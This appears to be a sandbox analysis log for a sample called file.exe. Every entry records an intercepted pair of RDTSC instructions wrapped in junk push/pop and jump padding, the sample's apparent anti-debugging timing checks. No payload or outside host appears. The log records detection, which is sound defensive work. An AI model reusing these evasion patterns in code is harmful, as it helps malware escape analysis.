Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E431 second address: 131E439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E439 second address: 131E445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE45D015356h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E445 second address: 131E450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E450 second address: 131E454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E454 second address: 131E482 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FE45D01194Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007FE45D011948h 0x00000014 jmp 00007FE45D011952h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E482 second address: 131E488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E488 second address: 131E48E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E48E second address: 131E494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E739 second address: 131E748 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D01194Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E748 second address: 131E74E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E74E second address: 131E760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE45D01194Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E760 second address: 131E76C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF5FB second address: 12CF628 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011959h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b jbe 00007FE45D011958h 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007FE45D011946h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131EB50 second address: 131EB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131EB57 second address: 131EB63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007FE45D011946h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131ECB1 second address: 131ECBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131ECBF second address: 131ECC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131ECC8 second address: 131ECF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015367h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FE45D01535Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131F7BE second address: 131F7DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE45D011956h 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131F7DD second address: 131F7E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131F7E1 second address: 131F7E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1326026 second address: 1326050 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015367h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c jl 00007FE45D015379h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13261AF second address: 13261B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13261B3 second address: 13261C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FE45D01535Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13261C7 second address: 13261CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1326E2D second address: 1326E3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FE45D015360h 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132719D second address: 13271A7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13271A7 second address: 13271AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13271AD second address: 13271B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1327C25 second address: 1327C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BC9E second address: 132BCA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BCA4 second address: 132BCC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jc 00007FE45D015356h 0x0000000e jmp 00007FE45D01535Dh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BCC0 second address: 132BCD4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE45D01194Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007FE45D011946h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BCD4 second address: 132BCD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BCD8 second address: 132BCF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE45D011953h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BCF5 second address: 132BD15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE45D015366h 0x00000009 js 00007FE45D015356h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BD15 second address: 132BD1E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132AF10 second address: 132AF35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FE45D015356h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007FE45D015356h 0x00000014 jmp 00007FE45D015361h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B09F second address: 132B0C5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE45D011946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FE45D01194Ch 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jnl 00007FE45D011946h 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B0C5 second address: 132B0C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B23D second address: 132B247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE45D011946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B52D second address: 132B531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B531 second address: 132B535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B535 second address: 132B561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE45D015361h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FE45D015365h 0x00000011 jmp 00007FE45D01535Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B561 second address: 132B57C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FE45D011946h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jbe 00007FE45D01196Ah 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B706 second address: 132B710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FE45D015356h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B896 second address: 132B8AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007FE45D01194Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B9EB second address: 132B9F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B9F6 second address: 132B9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1337F34 second address: 1337F5A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE45D01536Fh 0x00000008 jmp 00007FE45D015369h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13366C6 second address: 13366CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13366CA second address: 13366D4 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE45D015356h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133682F second address: 1336833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133EDF4 second address: 133EE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 je 00007FE45D015369h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133EE01 second address: 133EE2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE45D01194Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE45D011958h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133EE2C second address: 133EE36 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE45D015356h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CAF0 second address: 134CAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CAF8 second address: 134CAFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1350657 second address: 1350671 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE45D01194Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FE45D011946h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135028F second address: 1350293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1350293 second address: 1350297 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1350297 second address: 13502B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE45D015356h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007FE45D015358h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 pushad 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13502B2 second address: 13502BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1355051 second address: 1355056 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1355056 second address: 135505C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1357FFE second address: 1358013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE45D015361h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136151D second address: 1361521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361521 second address: 1361525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364573 second address: 13645A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007FE45D011950h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FE45D011951h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13688FA second address: 136892D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE45D01535Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FE45D015371h 0x00000012 jmp 00007FE45D015369h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1368C36 second address: 1368C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE45D011946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1369BE0 second address: 1369BEE instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE45D015356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1369BEE second address: 1369BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FE45D011946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1369BF8 second address: 1369C24 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE45D015356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE45D015367h 0x0000000f popad 0x00000010 push edi 0x00000011 push eax 0x00000012 jnp 00007FE45D015356h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375E60 second address: 1375E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375E6A second address: 1375E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375E70 second address: 1375E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE45D011956h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375E8B second address: 1375E90 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C9D8 second address: 137C9DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C9DE second address: 137C9E8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE45D015356h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389F17 second address: 1389F39 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE45D011946h 0x00000008 jmp 00007FE45D011958h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389F39 second address: 1389F4D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE45D01535Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389F4D second address: 1389F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138BCEA second address: 138BD1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015363h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE45D015369h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138BD1C second address: 138BD3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D01194Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007FE45D011954h 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138BD3A second address: 138BD40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A15C3 second address: 13A15C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A1722 second address: 13A1741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE45D015356h 0x0000000a pop esi 0x0000000b jmp 00007FE45D015364h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A1A16 second address: 13A1A1F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A1A1F second address: 13A1A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A1B35 second address: 13A1B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FE45D011946h 0x0000000f jmp 00007FE45D011957h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A1FDF second address: 13A1FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE45D01535Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A1FF3 second address: 13A1FF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A1FF7 second address: 13A2047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE45D01535Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FE45D015368h 0x00000014 jmp 00007FE45D015363h 0x00000019 popad 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007FE45D01535Ah 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2047 second address: 13A2052 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FE45D011946h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A22F7 second address: 13A2303 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FE45D015356h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2303 second address: 13A2309 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3DCB second address: 13A3DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3DCF second address: 13A3DD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A67F9 second address: 13A67FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A67FE second address: 13A6808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FE45D011946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A6808 second address: 13A680C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
